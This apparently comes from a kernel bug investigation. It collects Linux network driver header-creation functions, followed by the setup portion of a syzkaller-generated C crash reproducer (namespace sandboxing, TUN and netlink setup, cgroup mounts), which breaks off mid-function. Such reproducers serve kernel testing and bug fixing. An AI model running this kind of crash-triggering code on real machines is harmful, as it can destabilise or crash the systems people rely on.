## fwnet_header_create - drivers/firewire/net - not found ## ipoib_hard_header - drivers/infiniband/ulp/ipoib/ipoib_main - not found ## arcnet_header - drivers/net/arcnet/arcnet - not found ## ipvlan_hard_header - drivers/net/ipvlan/ipvlan_main ```c static int ipvlan_hard_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned len) { const struct ipvl_dev *ipvlan = netdev_priv(dev); struct net_device *phy_dev = ipvlan->phy_dev; /* TODO Probably use a different field than dev_addr so that the * mac-address on the virtual device is portable and can be carried * while the packets use the mac-addr on the physical device. */ return dev_hard_header(skb, phy_dev, type, daddr, saddr ? : phy_dev->dev_addr, len); } ``` ## macvlan_hard_header - drivers/net/macvlan ```c static int macvlan_hard_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned len) { const struct macvlan_dev *vlan = netdev_priv(dev); struct net_device *lowerdev = vlan->lowerdev; return dev_hard_header(skb, lowerdev, type, daddr, saddr ? : dev->dev_addr, len); } ``` ## mctp_i2c_header_create - drivers/net/mctp/mctp-i2c - not found ## plip_hard_header - drivers/net/plip/plip - not found ## cisco_hard_header - drivers/net/wan/hdlc_cisco - not found ## ppp_hard_header - drivers/net/wan/hdlc_ppp - not found ## fc_header - net/802/fc - not found ## fddi_header - net/802/fddi - not found ## hippi_header - net/802/hippi - not found ## vlan_dev_hard_header - net/8021q/vlan_dev ```c static int vlan_dev_hard_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned int len) { struct vlan_dev_priv *vlan = vlan_dev_priv(dev); struct vlan_hdr *vhdr; unsigned int vhdrlen = 0; u16 vlan_tci = 0; int rc; if (!(vlan->flags & VLAN_FLAG_REORDER_HDR)) { vhdr = skb_push(skb, VLAN_HLEN); vlan_tci = vlan->vlan_id; vlan_tci |= vlan_dev_get_egress_qos_mask(dev, skb->priority); vhdr->h_vlan_TCI = htons(vlan_tci); /* * Set the protocol type. For a packet of type ETH_P_802_3/2 we * put the length in here instead. */ if (type != ETH_P_802_3 && type != ETH_P_802_2) vhdr->h_vlan_encapsulated_proto = htons(type); else vhdr->h_vlan_encapsulated_proto = htons(len); skb->protocol = vlan->vlan_proto; type = ntohs(vlan->vlan_proto); vhdrlen = VLAN_HLEN; } /* Before delegating work to the lower layer, enter our MAC-address */ if (saddr == NULL) saddr = dev->dev_addr; /* Now make the underlying real hard header */ dev = vlan->real_dev; rc = dev_hard_header(skb, dev, type, daddr, saddr, len + vhdrlen); if (rc > 0) rc += vhdrlen; return rc; } ``` ## vlan_passthru_hard_header - net/8021q/vlan_dev ```c static int vlan_passthru_hard_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned int len) { struct vlan_dev_priv *vlan = vlan_dev_priv(dev); struct net_device *real_dev = vlan->real_dev; if (saddr == NULL) saddr = dev->dev_addr; return dev_hard_header(skb, real_dev, type, daddr, saddr, len); } ``` ## ax25_hard_header - net/ax25/ax25_ip - not found ## header_create - net/bluetooth/6lowpan - not found ## eth_header - net/ethernet/eth ```c int eth_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned int len) { struct ethhdr *eth = skb_push(skb, ETH_HLEN); if (type != ETH_P_802_3 && type != ETH_P_802_2) eth->h_proto = htons(type); else eth->h_proto = htons(len); /* * Set the source hardware address. */ if (!saddr) saddr = dev->dev_addr; memcpy(eth->h_source, saddr, ETH_ALEN); if (daddr) { memcpy(eth->h_dest, daddr, ETH_ALEN); return ETH_HLEN; } /* * Anyway, the loopback-device should never use this function... */ if (dev->flags & (IFF_LOOPBACK | IFF_NOARP)) { eth_zero_addr(eth->h_dest); return ETH_HLEN; } return -ETH_HLEN; } ``` ## lowpan_header_create - net/ieee802154/6lowpan/core - not found ## ipgre_header - net/ipv4/ip_gre ```c static int ipgre_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned int len) { struct ip_tunnel *t = netdev_priv(dev); struct iphdr *iph; struct gre_base_hdr *greh; iph = skb_push(skb, t->hlen + sizeof(*iph)); greh = (struct gre_base_hdr *)(iph+1); greh->flags = gre_tnl_flags_to_gre_flags(t->parms.o_flags); greh->protocol = htons(type); memcpy(iph, &t->parms.iph, sizeof(struct iphdr)); /* Set the source hardware address. */ if (saddr) memcpy(&iph->saddr, saddr, 4); if (daddr) memcpy(&iph->daddr, daddr, 4); if (iph->daddr) return t->hlen + sizeof(*iph); return -(t->hlen + sizeof(*iph)); } ``` ## ip6gre_header - net/ipv6/ip6_gre ```c static int ip6gre_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, const void *daddr, const void *saddr, unsigned int len) { struct ip6_tnl *t = netdev_priv(dev); struct ipv6hdr *ipv6h; __be16 *p; ipv6h = skb_push(skb, t->hlen + sizeof(*ipv6h)); ip6_flow_hdr(ipv6h, 0, ip6_make_flowlabel(dev_net(dev), skb, t->fl.u.ip6.flowlabel, true, &t->fl.u.ip6)); ipv6h->hop_limit = t->parms.hop_limit; ipv6h->nexthdr = NEXTHDR_GRE; ipv6h->saddr = t->parms.laddr; ipv6h->daddr = t->parms.raddr; p = (__be16 *)(ipv6h + 1); p[0] = t->parms.o_flags; p[1] = htons(type); /* * Set the source hardware address. */ if (saddr) memcpy(&ipv6h->saddr, saddr, sizeof(struct in6_addr)); if (daddr) memcpy(&ipv6h->daddr, daddr, sizeof(struct in6_addr)); if (!ipv6_addr_any(&ipv6h->daddr)) return t->hlen; return -t->hlen; } ``` ## mac802154_header_create - net/mac802154/iface - not found ## nr_header - net/netrom/nr_dev - not found ## pn_header_create - net/phonet/af_phonet - not found ## rose_header - net/rose/rose_dev - not found ```c // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <setjmp.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/capability.h> #include <linux/futex.h> #include <linux/genetlink.h> #include <linux/if_addr.h> #include <linux/if_ether.h> #include <linux/if_link.h> #include <linux/if_tun.h> #include <linux/in6.h> #include <linux/ip.h> #include <linux/neighbour.h> #include <linux/net.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/tcp.h> #include <linux/veth.h> #ifndef __NR_seccomp #define __NR_seccomp 317 #endif static unsigned long long procid; static __thread int clone_ongoing; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) { exit(sig); } uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ ({ \ int ok = 1; \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } else \ ok = 0; \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ ok; \ }) static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir(void) { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[4096]; }; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; if (size > 0) memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != (ssize_t)hdr->nlmsg_len) { if (dofail) exit(1); return -1; } n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (n < 0) { if (dofail) exit(1); return -1; } if (n < (ssize_t)sizeof(struct nlmsghdr)) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type != NLMSG_ERROR) { errno = EINVAL; if (dofail) exit(1); return -1; } errno = -((struct nlmsgerr*)(hdr + 1))->error; return -errno; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL, true); } static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); if (err < 0) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { errno = EINVAL; return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); if (err < 0) { } } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); if (err < 0) { } } static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name, const void* addr, int addrsize, const void* mac, int macsize) { struct ndmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ndm_ifindex = if_nametoindex(name); hdr.ndm_state = NUD_PERMANENT; netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, NDA_DST, addr, addrsize); netlink_attr(nlmsg, NDA_LLADDR, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static struct nlmsg nlmsg; static int tunfd = -1; #define TUN_IFACE "syz_tun" #define LOCAL_MAC 0xaaaaaaaaaaaa #define REMOTE_MAC 0xaaaaaaaaaabb #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 200; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { exit(1); } char sysctl[64]; sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE); write_file(sysctl, "0"); sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE); write_file(sysctl, "0"); int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4); netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6); uint64_t macaddr = REMOTE_MAC; struct in_addr in_addr; inet_pton(AF_INET, REMOTE_IPV4, &in_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN); struct in6_addr in6_addr; inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN); macaddr = LOCAL_MAC; netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL); close(sock); } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN || errno == EBADF || errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[1000]; while (read_tun(&data[0], sizeof(data)) != -1) { } } #define MAX_FDS 30 static void mount_cgroups(const char* dir, const char** controllers, int count) { if (mkdir(dir, 0777)) { return; } char enabled[128] = {0}; int i = 0; for (; i < count; i++) { if (mount("none", dir, "cgroup", 0, controllers[i])) { continue; } umount(dir); strcat(enabled, ","); strcat(enabled, controllers[i]); } if (enabled[0] == 0) { if (rmdir(dir) && errno != EBUSY) exit(1); return; } if (mount("none", dir, "cgroup", 0, enabled + 1)) { if (rmdir(dir) && errno != EBUSY) exit(1); } if (chmod(dir, 0777)) { } } static void mount_cgroups2(const char** controllers, int count) { if (mkdir("/syzcgroup/unified", 0777)) { return; } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { if (rmdir("/syzcgroup/unified") && errno != EBUSY) exit(1); return; } if (chmod("/syzcgroup/unified", 0777)) { } int control = open("/syzcgroup/unified/cgroup.subtree_control", O_WRONLY); if (control == -1) return; int i; for (i = 0; i < count; i++) if (write(control, controllers[i], strlen(controllers[i])) < 0) { } close(control); } static void setup_cgroups() { const char* unified_controllers[] = {"+cpu", "+io", "+pids"}; const char* net_controllers[] = {"net", "net_prio", "devices", "blkio", "freezer"}; const char* cpu_controllers[] = {"cpuset", "cpuacct", "hugetlb", "rlimit", "memory"}; if (mkdir("/syzcgroup", 0777)) { return; } mount_cgroups2(unified_controllers, sizeof(unified_controllers) / sizeof(unified_controllers[0])); mount_cgroups("/syzcgroup/net", net_controllers, sizeof(net_controllers) / sizeof(net_controllers[0])); mount_cgroups("/syzcgroup/cpu", cpu_controllers, sizeof(cpu_controllers) / sizeof(cpu_controllers[0])); write_file("/syzcgroup/cpu/cgroup.clone_children", "1"); write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1"); } static void setup_cgroups_loop() { int pid = getpid(); char file[128]; char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/pids.max", cgroupdir); write_file(file, "32"); snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(file, sizeof(file), "%s/memory.soft_limit_in_bytes", cgroupdir); write_file(file, "%d", 299 << 20); snprintf(file, sizeof(file), "%s/memory.limit_in_bytes", cgroupdir); write_file(file, "%d", 300 << 20); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); } static void setup_cgroups_test() { char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } } static void initialize_cgroups() { if (mkdir("./syz-tmp/newroot/syzcgroup", 0700)) exit(1); if (mkdir("./syz-tmp/newroot/syzcgroup/unified", 0700)) exit(1); if (mkdir("./syz-tmp/newroot/syzcgroup/cpu", 0700)) exit(1); if (mkdir("./syz-tmp/newroot/syzcgroup/net", 0700)) exit(1); unsigned bind_mount_flags = MS_BIND | MS_REC | MS_PRIVATE; if (mount("/syzcgroup/unified", "./syz-tmp/newroot/syzcgroup/unified", NULL, bind_mount_flags, NULL)) { } if (mount("/syzcgroup/cpu", "./syz-tmp/newroot/syzcgroup/cpu", NULL, bind_mount_flags, NULL)) { } if (mount("/syzcgroup/net", "./syz-tmp/newroot/syzcgroup/net", NULL, bind_mount_flags, NULL)) { } } static void setup_gadgetfs(); static void setup_binderfs(); static void setup_fusectl(); static void sandbox_common_mount_tmpfs(void) { write_file("/proc/sys/fs/mount-max", "100000"); if (mkdir("./syz-tmp", 0777)) exit(1); if (mount("", "./syz-tmp", "tmpfs", 0, NULL)) exit(1); if (mkdir("./syz-tmp/newroot", 0777)) exit(1); if (mkdir("./syz-tmp/newroot/dev", 0700)) exit(1); unsigned bind_mount_flags = MS_BIND | MS_REC | MS_PRIVATE; if (mount("/dev", "./syz-tmp/newroot/dev", NULL, bind_mount_flags, NULL)) exit(1); if (mkdir("./syz-tmp/newroot/proc", 0700)) exit(1); if (mount("syz-proc", "./syz-tmp/newroot/proc", "proc", 0, NULL)) exit(1); if (mkdir("./syz-tmp/newroot/selinux", 0700)) exit(1); const char* selinux_path = "./syz-tmp/newroot/selinux"; if (mount("/selinux", selinux_path, NULL, bind_mount_flags, NULL)) { if (errno != ENOENT) exit(1); if (mount("/sys/fs/selinux", selinux_path, NULL, bind_mount_flags, NULL) && errno != ENOENT) exit(1); } if (mkdir("./syz-tmp/newroot/sys", 0700)) exit(1); if (mount("/sys", "./syz-tmp/newroot/sys", 0, bind_mount_flags, NULL)) exit(1); if (mount("/sys/kernel/debug", "./syz-tmp/newroot/sys/kernel/debug", NULL, bind_mount_flags, NULL) && errno != ENOENT) exit(1); if (mount("/sys/fs/smackfs", "./syz-tmp/newroot/sys/fs/smackfs", NULL, bind_mount_flags, NULL) && errno != ENOENT) exit(1); if (mount("/proc/sys/fs/binfmt_misc", "./syz-tmp/newroot/proc/sys/fs/binfmt_misc", NULL, bind_mount_flags, NULL) && errno != ENOENT) exit(1); initialize_cgroups(); if (mkdir("./syz-tmp/pivot", 0777)) exit(1); if (syscall(SYS_pivot_root, "./syz-tmp", "./syz-tmp/pivot")) { if (chdir("./syz-tmp")) exit(1); } else { if (chdir("/")) exit(1); if (umount2("./pivot", MNT_DETACH)) exit(1); } if (chroot("./newroot")) exit(1); if (chdir("/")) exit(1); setup_gadgetfs(); setup_binderfs(); setup_fusectl(); } static void setup_gadgetfs() { if (mkdir("/dev/gadgetfs", 0777)) { } if (mount("gadgetfs", "/dev/gadgetfs", "gadgetfs", 0, NULL)) { } } static void setup_fusectl() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void setup_binderfs() { if (mkdir("/dev/binderfs", 0777)) { } if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) { } } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); if (getppid() == 1) exit(1); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 128 << 20; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int real_uid; static int real_gid; __attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20]; static int namespace_sandbox_proc(void* arg) { sandbox_common(); write_file("/proc/self/setgroups", "deny"); if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) exit(1); if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) exit(1); if (unshare(CLONE_NEWNET)) exit(1); write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535"); initialize_tun(); sandbox_common_mount_tmpfs(); drop_caps(); loop(); exit(1); } static int do_sandbox_namespace(void) { real_uid = getuid(); real_gid = getgid(); mprotect(sandbox_stack, 4096, PROT_NONE); int pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64], CLONE_NEWUSER | CLONE_NEWPID, 0); return wait_for_loop(pid); } #define FS_IOC_SETFLAGS _IOW('f', 2, long) static void remove_dir(const char* dir) { int iter = 0; DIR* dp = 0; const int umount_flags = MNT_FORCE | UMOUNT_NOFOLLOW; retry: while (umount2(dir, umount_flags) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } struct dirent* ep = 0; while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, umount_flags) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EPERM) { int fd = open(filename, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, umount_flags)) exit(1); } } closedir(dp); for (int i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EPERM) { int fd = open(dir, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, 